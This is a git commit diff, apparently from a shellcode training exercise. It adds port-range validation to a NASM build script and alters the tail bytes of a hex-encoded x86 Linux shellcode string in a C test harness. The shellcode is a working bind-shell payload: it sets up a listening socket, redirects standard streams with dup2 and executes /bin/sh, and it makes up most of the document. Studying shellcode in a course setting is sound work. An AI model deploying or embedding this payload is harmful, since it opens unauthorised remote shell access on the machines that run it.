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This commit is contained in:
arno01 2013-03-11 23:19:53 +01:00
parent 4f467ecacb
commit 1504c81dab
2 changed files with 7 additions and 1 deletions
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6
exam1/compile_all.sh
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@ -33,6 +33,12 @@ if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then
exit 1;
fi
if [ -z "$ARG2" ]; then
echo " [I] Default port will be used."
elif ! [[ $ARG2 -ge 1 && $ARG2 -le 65535 ]]; then
echo " [E] The port must be in range 1..65535 !"
exit 1;
fi
echo " [+] Assembling "$1".nasm with NASM ..."
nasm -f elf32 -o $ARG1.o $ARG1.nasm && \

2
exam1/shellcode.c
View File

@ -1,7 +1,7 @@
#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb";
unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xff\xff";
main()
{